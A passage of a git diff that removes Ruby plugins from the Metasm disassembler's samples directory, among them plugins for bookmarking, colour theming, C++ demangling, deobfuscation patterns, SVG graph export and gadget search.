draw_rectangle_color(col, x*@pw, y*@ph, @pw, @ph) - } - } - end - - def xy_to_col(x, y) - x = x.to_i / @pw - y = y.to_i / @ph - if x >=0 and y >= 0 and x <= 0xff and y <= 0xf - if x & 0x10 > 0 - x = (x&0xf0) + (15-(x&0xf)) - end - col = '%02x%x' % [x, y] - toplevel.title = "color #{col}" - col - end - end - - def mousemove(x, y) - xy_to_col(x, y) - end - - def mouserelease(x, y) - if c = xy_to_col(x, y) - toplevel.destroy - @action.call(c) - end - end - end - - # list of user-specified addrs - @bookmarklist = [] - # every single addr => color - @bookmarkcolor = {} - - obg = gui.bg_color_callback # chain old callback - gui.bg_color_callback = lambda { |a| - if obg and col = obg[a] - col - else - # least priority - @bookmarkcolor[a] - end - } - - popbookmarks = lambda { |*a| - list = [['address', 'color']] + @bookmarklist.map { |bm| [Expression[bm].to_s, @bookmarkcolor[bm].to_s] } - listcolcb = lambda { |e| [nil, @bookmarkcolor[Expression.parse_string(e[0]).reduce]] } - gui.listwindow('bookmarks', list, :color_callback => listcolcb) { |e| gui.focus_addr(e[0]) } - } - - # an api to bookmark a function - def bookmark_function(addr, color) - return if not fa = find_function_start(addr) - list = function_blocks(fa).map { |k, v| block_at(k).list.map { |di| di.address } }.flatten - bookmark_addrs list, color - end - def bookmark_addrs(list, color) - al = [list].flatten.uniq - gui.session_append("dasm.bookmark_addrs(#{list.inspect}, #{color.inspect})") - @bookmarklist |= [al.min] - al.each { |a| @bookmarkcolor[a] = color } - gui.gui_update - end - def bookmark_delete_function(addr) - return if not fa = find_function_start(addr) - list = function_blocks(fa).map { |k, v| block_at(k).list.map { |di| di.address } }.flatten - bookmark_delete list - end - def bookmark_delete(list) - @bookmarklist -= list - list.each { |a| @bookmarkcolor.delete a } - end - def bookmark_delete_color(col) - @bookmarkcolor.delete_if { |k, v| if v == col ; @bookmarklist.delete k ; true end } - end - - - w = gui.toplevel - w.addsubmenu(w.find_menu('Views'), '_Bookmarks', popbookmarks) - w.update_menu - gui.keyboard_callback[?B] = popbookmarks - gui.keyboard_callback[?C] = lambda { |a| - if s = gui.curview.instance_variable_get('@selected_boxes') and not s.empty? - al = s.map { |b| b[:line_address] } - elsif fa = find_function_start(gui.curaddr) - al = function_blocks(fa).map { |k, v| block_at(k).list.map { |di| di.address } } - else - next - end - # XXX also prompt for comment/bookmark name ? - ColorWindow.new(gui.toplevel) { |col| bookmark_addrs(al, col) } - } -end diff --git a/lib/metasm/samples/dasm-plugins/c_constants.rb b/lib/metasm/samples/dasm-plugins/c_constants.rb deleted file mode 100644 index 94a4eda4ed..0000000000 --- a/lib/metasm/samples/dasm-plugins/c_constants.rb +++ /dev/null @@ -1,57 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm plugin -# decompose immediate values from C constants, adds a comment with the decomposition - -# find immediate exprs in the instruction at addr, yield them -def imm_to_const(addr) - return if not di = di_at(addr) - # TODO enter into memrefs ? - di.instruction.args.grep(Expression).each { |a| - i = a.reduce - next if not i.kind_of? Integer - next if not cstbase = yield(i) - if c = imm_to_const_decompose(i, cstbase) - di.add_comment c - end - } -end - -# find the bitwise decomposition of imm into constants whose name include cstbase -def imm_to_const_decompose(imm, cstbase) - cstbase = /#{cstbase}/i if not cstbase.kind_of? Regexp - dict = {} - c_parser.lexer.definition.keys.grep(cstbase).each { |cst| - if i = c_parser.macro_numeric(cst) - dict[cst] = i - end - } - c_parser.toplevel.symbol.each { |k, v| - dict[k] = v if v.kind_of? Integer and k =~ cstbase - } - dict.delete_if { |k, v| imm & v != v } - if cst = dict.index(imm) - cst - else - # a => 1, b => 2, c => 4, all => 7: discard abc, keep 'all' - dict.delete_if { |k, v| dict.find { |kk, vv| vv > v and vv & v == v } } - dict.keys.join(' | ') if not dict.empty? - end -end - -if gui - gui.keyboard_callback[?K] = lambda { |*a| - addr = gui.curaddr - imm_to_const(addr) { |i| - gui.inputbox("const name for #{Expression[i]}") { |name| - imm_to_const(addr) { |ii| name if ii == i } - gui.gui_update - } - nil - } - } -end diff --git a/lib/metasm/samples/dasm-plugins/colortheme_solarized.rb b/lib/metasm/samples/dasm-plugins/colortheme_solarized.rb deleted file mode 100644 index ec42aed251..0000000000 --- a/lib/metasm/samples/dasm-plugins/colortheme_solarized.rb +++ /dev/null @@ -1,125 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm gui plugin: change the colortheme used in the GUI -# based on solarized: http://ethanschoonover.com/solarized/ - -if gui - solarized = { - # name => hex RRGGBB - :base03 => '002b36', - :base02 => '073642', - :base01 => '586e75', - :base00 => '657b83', - :base0 => '839496', - :base1 => '93a1a1', - :base2 => 'eee8d5', - :base3 => 'fdf6e3', - :yellow => 'b58900', - :orange => 'cb4b16', - :red => 'dc322f', - :magenta => 'd33682', - :violet => '6c71c4', - :blue => '268bd2', - :cyan => '2aa198', - :green => '859900', - - # personnal additions for more contrast - :base0C => '094048', - :base0D => '00151b', - - :black => '002b36', # base03 - :white => '93a1a1', # base1 - - :yellow_bg => '5a591b',# approx mean with black + manual tweak - :orange_bg => '553a16', - :red_bg => '461b1d', - :magenta_bg => '69305c', - :violet_bg => '364d7d', - :blue_bg => '135a84', - :cyan_bg => '156567', - :green_bg => '16510b', - } - - # all widget's colorscheme inherits from this one - # this is the dark background theme. For light background, change - # all 'baseX' into 'base0X' and 'base0X' into 'baseX'. - default = { - :background => :black, - :text => :white, - :instruction => :white, - :cursorline_bg => :base02, - :comment => :base01, - :caret => :base0, - :label => :violet, - :address => :blue, - :hl_word_bg => :white, - :hl_word => :black, - } - - specific = { - # widget name => colortheme - # unspecified colors are taken from 'default' - # still unspecified colors are left unchanged - :listing => { - :raw_data => :white, - :arrows_bg => :base02, - :arrow_up => :cyan, - :arrow_dn => :blue, - :arrow_hl => :orange, - }, - - :opcodes => { - :raw_data => :white, - }, - - :decompile => { - :keyword => :blue, - :localvar => :red, - :globalvar => :green, - :intrinsic => :yellow, - }, - - :coverage => { - :code => :red, - :data => :blue, - :caret => :yellow, - :caret_col => :green, - }, - - :graph => { - :background => :base0D, - :hlbox_bg => :base02, - :box_bg => :base03, - :cursorline_bg => :base03, - :arrow_cond => :green, - :arrow_uncond => :cyan, - :arrow_direct => :blue, - :arrow_hl => :orange, - :box_bg_shadow => '000000', - }, - - :hex => { - :ascii => :white, - :data => :base1, - :write_pending => :red, - :caret_mirror => :base0C, - }, - } - - gui.view_indexes.each { |v| - cs = specific[v] || {} - view = gui.view(v) - # keep original view ':foo => :text' colors - legacy = view.default_color_association.dup - # but discard actual color defs (still present as fallback anyway) - legacy.delete_if { |k, c| c.kind_of?(::String) } - nca = solarized.merge(legacy).merge(default).merge(cs) - view.set_color_association(nca) - } - - true -end diff --git a/lib/metasm/samples/dasm-plugins/cppobj_funcall.rb b/lib/metasm/samples/dasm-plugins/cppobj_funcall.rb deleted file mode 100644 index a890a953eb..0000000000 --- a/lib/metasm/samples/dasm-plugins/cppobj_funcall.rb +++ /dev/null @@ -1,60 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm plugin -# finds instances of indirect calls a la call [ecx+40h], backtraces ecx, comments with the C++ object function pointer name -# if the backtracked object has no type, prompt for a C structure name. - -# TODO simpler gui interface to set [base+off] => ; struct->member - -@indirect_call_struct = {} -def solve_indirect_call_set_struct(ptr, struct) - struct = @c_parser.toplevel.struct[struct] if struct.kind_of? String - raise 'no such struct' if not struct - @indirect_call_struct[ptr] = struct -end - -def solve_indirect_calls - @decoded.values.grep(DecodedInstruction).each { |di| - next if not di.opcode.props[:saveip] # only calls - fptr = get_xrefs_x(di) - next if fptr.to_a.length != 1 - fptr = Expression[fptr.first].reduce_rec - next if not fptr.kind_of? Indirection - next if not fptr.pointer.lexpr.kind_of? Symbol - next if not fptr.pointer.rexpr.kind_of? Integer - obj = backtrace(fptr.pointer.lexpr, di.address) - obj.delete Expression::Unknown - next if obj.length != 1 - obj = obj.first - obj = Expression[obj].reduce_rec - next if not obj.kind_of? Indirection - obj = obj.pointer # vtable ptr -> object ptr - - if not struct = @indirect_call_struct[obj] - struct = yield obj if block_given? - solve_indirect_call_set_struct(obj, struct || :none) - end - - if struct.kind_of? C::Struct and fld = struct.members.find { |m| struct.offsetof(c_parser, m) == fptr.pointer.rexpr } and fld.name - di.add_comment "#{struct.name || obj}->#{fld.name}" - di.comment.delete 'x:unknown' - end - } -end - -if gui - solve_indirect_calls { |ptr| - gui.inputbox("struct name for object at #{ptr}") { |name| - solve_indirect_call_set_struct(ptr, name) - # re-solve everything, cause we're called only once but many indirect calls may use ptr - solve_indirect_calls - gui.gui_update - } - } - gui.gui_update - nil -end diff --git a/lib/metasm/samples/dasm-plugins/dasm_all.rb b/lib/metasm/samples/dasm-plugins/dasm_all.rb deleted file mode 100644 index 5c67acb80b..0000000000 --- a/lib/metasm/samples/dasm-plugins/dasm_all.rb +++ /dev/null @@ -1,70 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm plugin: retrieve a section section, and disassemble everything it can, skipping existing code and nops -# usage: load the plugin, then call (ruby snipped): dasm.dasm_all_section '.text' -def dasm_all(addrstart, length, method=:disassemble_fast_deep) - s = get_section_at(addrstart) - return if not s - s = s[0] - boff = s.ptr - off = 0 - while off < length - if di = di_at(addrstart + off) - off += di.bin_length - elsif @decoded[addrstart+off] - off += 1 - else - s.ptr = boff+off - maydi = cpu.decode_instruction(s, 0) - if not maydi - off += 1 - elsif maydi.instruction.to_s =~ /nop|lea (.*), \[\1(?:\+0)?\]|mov (.*), \2|int 3/ - off += maydi.bin_length - else - puts "dasm_all: found #{Expression[addrstart+off]}" if $VERBOSE - send(method, addrstart+off) - end - end - Gui.main_iter if gui and off & 15 == 0 - end - - count = 0 - off = 0 - while off < length - addr = addrstart+off - if di = di_at(addr) - if di.block_head? - b = di.block - if not @function[addr] and b.from_subfuncret.to_a.empty? and b.from_normal.to_a.empty? - l = auto_label_at(addr, 'sub_orph') - puts "dasm_all: found orphan function #{l}" - @function[addrstart+off] = DecodedFunction.new - @function[addrstart+off].finalized = true - detect_function_thunk(addr) - count += 1 - end - end - off += di.bin_length - else - off += 1 - end - Gui.main_iter if gui and off & 15 == 0 - end - - puts "found #{count} orphan functions" if $VERBOSE - - gui.gui_update if gui -end - -def dasm_all_section(name, method=:disassemble_fast_deep) - section_info.each { |n, a, l, i| - if name == n - dasm_all(Expression[a].reduce, l, method) - end - } - true -end diff --git a/lib/metasm/samples/dasm-plugins/demangle_cpp.rb b/lib/metasm/samples/dasm-plugins/demangle_cpp.rb deleted file mode 100644 index 273000d033..0000000000 --- a/lib/metasm/samples/dasm-plugins/demangle_cpp.rb +++ /dev/null @@ -1,31 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm plugin: try to demangle all labels as c++ names, add them as -# comment if successful - -def demangle_all_cppnames - cnt = 0 - prog_binding.each { |name, addr| - cname = name.sub(/^thunk_/, '') - if dname = demangle_cppname(cname) - cnt += 1 - add_comment(addr, dname) - each_xref(addr, :x) { |xr| - if di = di_at(xr.origin) - di.add_comment dname - di.comment.delete "x:#{name}" - end - } - end - } - cnt -end - -if gui - demangle_all_cppnames - gui.gui_update -end diff --git a/lib/metasm/samples/dasm-plugins/deobfuscate.rb b/lib/metasm/samples/dasm-plugins/deobfuscate.rb deleted file mode 100644 index 4f9d988ab7..0000000000 --- a/lib/metasm/samples/dasm-plugins/deobfuscate.rb +++ /dev/null @@ -1,251 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# To use your own patterns, create a script that defines Deobfuscate::Patterns, then eval() this file. -# Use your script as argument to --plugin -# -# This script is to be used with the --plugin option of samples/disassemble(-gtk).rb -# It holds methods to ease the definition of instruction patterns that are to be replaced -# by another arbitrary instruction sequence, using mostly a regexp syntax -# -# The pattern search&replace is done every time the disassembler -# finds a new instruction, through the callback_newinstr callback. -# -# The patterns can use shortcuts for frequently-used regexps (like 'any machine registers'), -# defined in the PatternMacros hash. -# -# The patterns are matched first against the sequence of instruction opcode names, then -# each instruction is rendered as text (using Instruction#to_s), and the global regexp -# is checked. -# Backreferences can be used in the substitution instruction sequence, through the %1 ... %9 -# special values. -# -# A pattern consists of a sequence of regexp for instructions, separated by ' ; ' -# Each subregexps should not match multiple instructions (ie a patterns matches a fixed-length -# instruction sequence, whose length equals the number of ' ; '-separated regexps) -# The first word of each regexp should match only the instruction opcode name. -# -# The substitution may be a Proc, which will receive |dasm object, matched decodedinstr list| as -# arguments, and should return: -# a String, holding a sequence of instructions separated by ' ; ', which will be parsed by the CPU (no labels allowed) -# nil if the pattern did not match, continue searching -# an Array of Instruction/DecodedInstruction. If the array is the original di list, same as returning nil -# -# If the substitution array is different from the matched sequence, the new instructions are passed -# to dasm.replace_instrs, which will patch the disassembler decoded instruction graph ; and each -# new instruction is passed through the callback once more, allowing for recursive patterns. -# - -module Deobfuscate - - -# special constructs : %i => an integer (immediate/standard label) -# %r => standard x86 register (except esp), all sizes -# %m => modr/m 32 (memory indirection or reg) -PatternMacros = { - '%i' => '(?:-|loc_|sub_|xref_)?[0-9][0-9a-fA-F]*h?', - '%r' => '(?:[re]?[abcd]x|[re]?[sd]i|[re]?bp|[abcd][lh])', - '%m' => '(?:(?:dword ptr )?\[.*?\]|eax|ebx|ecx|edx|edi|esi|ebp)', -} if not defined? PatternMacros - - - - -# instructions are separated by ' ; ' -# instruction must be '<simple regexp matching opcode> <arbitrary regexp>' -# in the pattern target, %1-%9 are used for backreferences from the regexp match -Patterns = { - 'nop ; (.*)' => '%1', # concat 'nop' into following instruction - 'mov (%r|esp), \1' => 'nop', - 'lea (%r|esp), (?:dword ptr )?\[\1(?:\+0)?\]' => 'nop', - '(.*)' => lambda { |dasm, list| # remove 'jmp imm' preceding us without interfering with running dasm - if pdi = prev_di(dasm, list.last) and pdi.opcode.name == 'jmp' and - pdi.instruction.args[0].kind_of? Metasm::Expression - dasm.replace_instrs(pdi.address, pdi.address, []) - end - nil - }, - #'call %i ; pop (%r)' => lambda { |dasm, list| "mov %1, #{list.first.next_addr}" }, -} if not defined? Patterns - - - - -# returns an array of strings matching the regexp (only |,?,[], non-nested allowed, no special chars) -# expand_regexp['a[bcd]?(ef|gh)'] => [abef acef adef aef abgh acgh adgh agh] -def self.expand_regexp(str) - case str - when nil, '', '.*'; return [str.to_s] - when /^\\\./ - l1, p2 = ['.'], $' - when /^(\w+)(\?)?/ - s1, q, p2 = $1, $2, $' - l1 = (q ? [s1, s1.chop] : [s1]) - when /^\[(.*?)\](\?)?/ - p1, q, p2 = $1, $2, $' - l1 = p1.split(//) - l1 << '' if q - when /^\((?:\?:)?(.*?)\)(\?)?/ - p1, q, p2 = $1, $2, $' - l1 = p1.split('|').map { |p| expand_regexp(p) }.flatten - l1 << '' if q - else raise "bad pattern #{str.inspect}" - end - expand_regexp(p2).map { |s2| l1.map { |s1_| s1_ + s2 } }.flatten.uniq -end - -# find the instr preceding adi ; follows from_normal if it is a single element array -def self.prev_di(dasm, di) - if di.block.list.first != di - di.block.list[di.block.list.index(di)-1] - elsif di.block.from_normal.to_a.length == 1 - dasm.decoded[di.block.from_normal.first] - end -end - -# preprocess the pattern list to optimize matching on each new instruction -# last pattern instr opname => prev instr opname => prev instr opname => :pattern => [patterns] -def self.generate_precalc(next_hash, next_ops, pattern) - if next_ops.empty? - next_hash[:pattern] ||= [] - next_hash[:pattern] << pattern - else - (expand_regexp(next_ops[-1]) rescue ['.*']).each { |op| - nh = next_hash[op] ||= {} - generate_precalc(nh, next_ops[0...-1], pattern) - } - end -end - -PrecalcPatterns = {} if not defined? PrecalcPatterns - -# replace Macros in patterns, do some precalc to speedup pattern matching -def self.init - PrecalcPatterns.clear - Patterns.keys.each { |pat| - # replace PatternMacros in patterns - newp = pat.dup - PatternMacros.each { |mk, mv| newp.gsub!(mk, mv) } - Patterns[newp] = Patterns.delete(pat) if pat != newp - pat = newp - - # TODO handle instructions with prefix (lock/rep), conditional regexp over multiple instructions.. - ops = pat.split(' ; ').map { |instr| instr[/^\S+/] } - - generate_precalc(PrecalcPatterns, ops, pat) - } -end - -# the actual disassembler callback -# checks the current instruction opname against the end of patterns using precomputed tree, then check previous instr etc -# once full pattern may match, convert each instr to string, and run the regexp match -# on match, reuse the captures in the pattern target, parse the target, generate decoded instrs, and replace in the dasm graph. -# on match, rerun the callback on each replaced instruction (for recursive patterns) -def self.newinstr_callback(dasm, di) - # compute the merged subtree of t1 and t2 - # merges patterns if found - mergetree = lambda { |t1, t2| - if t1 and t2 - case t1 - when Array; t1 + t2 - when Hash; (t1.keys | t2.keys).inject({}) { |t, k| t.update k => mergetree[t1[k], t2[k]] } - end - else t1 || t2 - end - } - - di_seq = [di] - lastdi = di - tree = PrecalcPatterns - tree = mergetree[tree['.*'], tree[lastdi.instruction.opname]] - newinstrs = match = nil - # walk the Precalc tree - while tree - if tree[:pattern] - strs = di_seq.map { |pdi| pdi.instruction.to_s } - break if tree[:pattern].find { |pat| - if match = /^#{pat}$/.match(strs.join(' ; ')) - newinstrs = Patterns[pat] - newinstrs = newinstrs[dasm, di_seq] if newinstrs.kind_of? Proc - newinstrs = nil if newinstrs == di_seq - else newinstrs = nil - end - newinstrs - } or tree.length == 1 - end - - if lastdi = prev_di(dasm, lastdi) - di_seq.unshift lastdi - tree = mergetree[tree['.*'], tree[lastdi.instruction.opname]] - else break - end - end - - # match found : create instruction stream, replace in dasm, recurse - if newinstrs - # replace %1-%9 by the matched substrings - newinstrs = newinstrs.gsub(/%(\d)/) { match.captures[$1.to_i-1] }.split(' ; ').map { |str| dasm.cpu.parse_instruction(str) } if newinstrs.kind_of? String - if newinstrs.last.kind_of? Metasm::Instruction and newinstrs.last.opname != 'jmp' and - lastdi.address + di_seq.inject(-di.bin_length) { |len, i| len + i.bin_length } != di.address - # ensure that the last instr ends the same place as the original last instr (to allow disassemble_block to continue) - newinstrs << dasm.cpu.parse_instruction("jmp #{Metasm::Expression[di.next_addr]}") - # nop ; jmp => jmp - newinstrs.shift if newinstrs.length >= 2 and newinstrs.first.kind_of? Metasm::Instruction and newinstrs.first.opname == 'nop' - end - - # remove instructions from the match to have only 2 linked blocks passed to replace_instrs - unused = di_seq[1..-2] || [] - unused.delete_if { |udi| udi.block.address == di_seq[0].block.address or udi.block.address == di_seq[-1].block.address } - dasm.replace_instrs(unused.shift.address, unused.shift.address, []) while unused.length > 1 - dasm.replace_instrs(unused.first.address, unused.first.address, []) if not unused.empty? - - # patch the dasm graph - if dasm.replace_instrs(lastdi.address, di.address, newinstrs, true) - puts ' deobfuscate', di_seq, ' into', newinstrs, ' ---' if $DEBUG - # recurse, keep the last generated di to return to caller as replacement - newinstrs.each { |bdi| di = newinstr_callback(dasm, bdi) || di } - else - di = nil - end - end - - di -end - -# call newinstr_callback on all existing instructions of dasm -def self.deobfuscate_existing(dasm) - dasm.each_instructionblock { |b| - b.list.dup.each { |di| newinstr_callback(dasm, di) } - } -end - -# calls dasm.merge_blocks(true) on all instruction blocks to merge sequences of blocks -def self.merge_blocks(dasm) - dasm.each_instructionblock { |b| - if pv = dasm.di_at(b.from_normal.to_a.first) and not pv.block.list.last.opcode.props[:setip] and - b.from_normal.length == 1 and pv.block.to_normal.to_a.length == 1 - dasm.merge_blocks(pv.block, b, true) - end - } -end -end - -if $DEBUG -# update DecodedInstr.to_s to include instr length -class Metasm::DecodedInstruction - def to_s ; "#{Metasm::Expression[address] if address} +#{bin_length} #{instruction}" end -end -end - -# do the pattern precalc -Deobfuscate.init - -if self.kind_of? Metasm::Disassembler -dasm = self -# setup the newinstr callback -dasm.callback_newinstr = lambda { |di| Deobfuscate.newinstr_callback(dasm, di) } -end diff --git a/lib/metasm/samples/dasm-plugins/dump_text.rb b/lib/metasm/samples/dasm-plugins/dump_text.rb deleted file mode 100644 index df562433fa..0000000000 --- a/lib/metasm/samples/dasm-plugins/dump_text.rb +++ /dev/null @@ -1,35 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm GUI plugin: dumps the text of the current widget to a text file on 'D' keypress -# the dump is appended to the file if it exists -# works on the listing view (current screen), -# on the decompiled view (current function), -# on the graph view (selected blocks, in selection order) - -if gui - gui.keyboard_callback[?D] = lambda { |a| - cv = gui.curview - if t = cv.instance_variable_get('@line_text') - gui.savefile('dump file') { |f| - File.open(f, 'a') { |fd| fd.puts t } - } - elsif s = cv.instance_variable_get('@selected_boxes') - if s.empty? - gui.messagebox('select boxes (ctrl+click)') - next - end - gui.savefile('dump file') { |f| - File.open(f, 'a') { |fd| - s.each { |box| - fd.puts box[:line_text_col].map { |strc| strc.transpose[0].join } - } - fd.puts - } - } - end - } -end diff --git a/lib/metasm/samples/dasm-plugins/export_graph_svg.rb b/lib/metasm/samples/dasm-plugins/export_graph_svg.rb deleted file mode 100644 index 1dec3e46b4..0000000000 --- a/lib/metasm/samples/dasm-plugins/export_graph_svg.rb +++ /dev/null @@ -1,86 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm plugin: create a function to export the currently displayed -# dasm graph to a .svg file -# in the gui, type E to export. Tested only for graph-style view, *may* work in other cases - -raise 'gui only' if not gui - -def graph_to_svg - gw = gui.curview.dup - class << gw - attr_accessor :svgbuf, :svgcol - def draw_color(col) - col = @default_color_association.fetch(col, col) - col = BasicColor.fetch(col, col) - @svgcol = "##{col}" - end - - def draw_line(x1, y1, x2, y2) - bb(x1, y1, x2, y2) - svgbuf << %Q{<line x1="#{x1}" y1="#{y1}" x2="#{x2}" y2="#{y2}" stroke="#{@svgcol}" />\n} - end - def draw_rectangle(x, y, w, h) - bb(x, y, x+w, y+h) - svgbuf << %Q{<rect x="#{x}" y="#{y}" width="#{w}" height="#{h}" fill="#{@svgcol}" />\n} - end - def draw_string(x, y, str) - bb(x, y, x+str.length*@font_width, y+@font_height) - stre = str.gsub('<', '<').gsub('>', '>') - svgbuf << %Q{<text x="#{(0...str.length).map { |i| x+i*@font_width }.join(',')}" y="#{y+@font_height*0.7}" stroke="#{@svgcol}">#{stre}</text>\n} - end - - def draw_rectangle_color(c, *a) - draw_color(c) - draw_rectangle(*a) - end - def draw_line_color(c, *a) - draw_color(c) - draw_line(*a) - end - def draw_string_color(c, *a) - draw_color(c) - draw_string(*a) - end - - def focus?; false; end - def view_x; @svgvx ||= @curcontext.boundingbox[0]-20; end - def view_y; @svgvy ||= @curcontext.boundingbox[1]-20; end - def width; @svgvw ||= (@curcontext ? (@curcontext.boundingbox[2]-@curcontext.boundingbox[0])*@zoom+20 : 800); end - def height; @svgvh ||= (@curcontext ? (@curcontext.boundingbox[3]-@curcontext.boundingbox[1])*@zoom+20 : 600); end - def svgcuraddr; @curcontext ? @curcontext.root_addrs.first : current_address; end - - # drawing bounding box (for the background rectangle) - attr_accessor :bbx, :bby, :bbxm, :bbym - def bb(x1, y1, x2, y2) - @bbx = [x1, x2, @bbx].compact.min - @bbxm = [x1, x2, @bbxm].compact.max - @bby = [y1, y2, @bby].compact.min - @bbym = [y1, y2, @bbym].compact.max - end - end - ret = gw.svgbuf = '' - gw.paint - - ret[0, 0] = <<EOS -<?xml version="1.0" standalone="no"?> -<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN" - "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd"> -<svg xmlns="http://www.w3.org/2000/svg" font-family="courier, monospace"> -<desc>Graph of #{get_label_at(gw.svgcuraddr) || Expression[gw.svgcuraddr]}</desc> -<rect x="#{gw.bbx-10}" y="#{gw.bby-10}" width="#{gw.bbxm-gw.bbx+20}" height="#{gw.bbym-gw.bby+20}" fill="#{gw.draw_color(:background)}" />" -EOS - ret << %Q{</svg>} -end - -gui.keyboard_callback[?E] = lambda { |*a| - gui.savefile('svg target') { |f| - svg = graph_to_svg - File.open(f, 'w') { |fd| fd.write svg } - } - true -} diff --git a/lib/metasm/samples/dasm-plugins/findgadget.rb b/lib/metasm/samples/dasm-plugins/findgadget.rb deleted file mode 100644 index 9f02a07c28..0000000000 --- a/lib/metasm/samples/dasm-plugins/findgadget.rb +++ /dev/null @@ -1,75 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2011 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm plugin -# scan for a given asm instruction sequence (all encodings) -# add the G dasm-gui shortcut, the input change ';' for line splits - -def findgadget_asm_to_regex(asm) - fullre = '' - asm = asm.gsub(';', "\n") - - sc = Shellcode.new(@cpu) - sc.parse asm - sc.source.each { |i| - case i - when Data - opts_edata = i.encode(@cpu.endianness) - when Instruction - opts_edata = @cpu.encode_instruction(sc, i) - else - raise "cant scan for #{i}" - end - - opts_edata = [opts_edata] if opts_edata.kind_of?(EncodedData) - - opts_re = opts_edata.map { |ed| - # Regexp.escape ed.data, with relocs replaced with '.' - re = '' - off = 0 - ed.reloc.sort.each { |o, rel| - re << Regexp.escape(ed.data[off...o]) - re << ('.' * rel.length) - off = o + rel.length - } - re << Regexp.escape(ed.data[off..-1]) - } - fullre << '(' << opts_re.join('|') << ')' - } - - Regexp.new(fullre, Regexp::MULTILINE, 'n') -end - -# parse asm to a regexp, return the list of addresses matching -def findgadget_asm(asm) - pattern_scan(findgadget_asm_to_regex(asm)) -end - -def findgadget_prompt - gui.inputbox("source for the gadget - separate with ;") { |asm| - lst = findgadget_asm(asm) - list = [['address', 'section']] - sections = section_info - list += lst.map { |addr| - # [name, addr, len, misc] - if s = sections.find { |s_| s_[1] <= addr and s_[1] + s_[2] > addr } - s = s[0] - else - s = '?' - end - [Expression[addr], s] - } - gui.listwindow("gadgetscan for #{asm}", list) { |args| gui.focus_addr(args[0]) } - } -end - -if gui - gui.keyboard_callback[?G] = lambda { |*a| findgadget_prompt } - w = gui.toplevel - w.addsubmenu(w.find_menu('Actions'), 'Scan for _Gadget', 'G') { findgadget_prompt } - w.update_menu - :success -end diff --git a/lib/metasm/samples/dasm-plugins/hl_opcode.rb b/lib/metasm/samples/dasm-plugins/hl_opcode.rb deleted file mode 100644 index 3552f1db6d..0000000000 --- a/lib/metasm/samples/dasm-plugins/hl_opcode.rb +++ /dev/null @@ -1,32 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm GUI plugin: hilight lines of code based on the opcode name -if gui - @gui_opcode_color = { - :call => :green_bg, - :jmp => :red_bg, - :jcc => :orange_bg, - } - - obg = gui.bg_color_callback # chain old callback - gui.bg_color_callback = lambda { |a| - if di = di_at(a) and pr = di.opcode.props - if pr[:saveip] and (@function[di.block.to_normal.to_a.first] or di.block.to_subfuncret.to_a.first) - # don't color call+pop - @gui_opcode_color[:call] - elsif pr[:stopexec] - @gui_opcode_color[:jmp] - elsif pr[:setip] - @gui_opcode_color[:jcc] - else - obg[a] if obg - end - else - obg[a] if obg - end - } -end diff --git a/lib/metasm/samples/dasm-plugins/hotfix_gtk_dbg.rb b/lib/metasm/samples/dasm-plugins/hotfix_gtk_dbg.rb deleted file mode 100644 index b541a05fcb..0000000000 --- a/lib/metasm/samples/dasm-plugins/hotfix_gtk_dbg.rb +++ /dev/null @@ -1,19 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# This plugin will create a monitoring process running samples/hotfix_gtk_dbg.rb on the current process (to fix a GTK crash when closing a window) -# - -mypid = Process.pid - -if (!Process.fork) - ARGV.clear - ARGV << mypid - $VERBOSE = false - Kernel.load File.join(Metasmdir, 'samples', 'hotfix_gtk_dbg.rb') - exit! -end diff --git a/lib/metasm/samples/dasm-plugins/imm2off.rb b/lib/metasm/samples/dasm-plugins/imm2off.rb deleted file mode 100644 index a7d328efb1..0000000000 --- a/lib/metasm/samples/dasm-plugins/imm2off.rb +++ /dev/null @@ -1,34 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm plugin -# walks all disassembled instructions referencing an address -# if the address is a label, update the instruction to use the label -# esp. useful after a disassemble_fast, with a .map file - -def addrtolabel - bp = prog_binding.invert - @decoded.each_value { |di| - next if not di.kind_of?(DecodedInstruction) - di.each_expr { |e| - next unless e.kind_of?(Expression) - if l = bp[e.lexpr] - add_xref(e.lexpr, Xref.new(:addr, di.address)) - e.lexpr = Expression[l] - end - if l = bp[e.rexpr] - add_xref(e.rexpr, Xref.new(:addr, di.address)) - e.rexpr = (e.lexpr ? Expression[l] : l) - end - } - } - nil -end - -if gui - addrtolabel - gui.gui_update -end diff --git 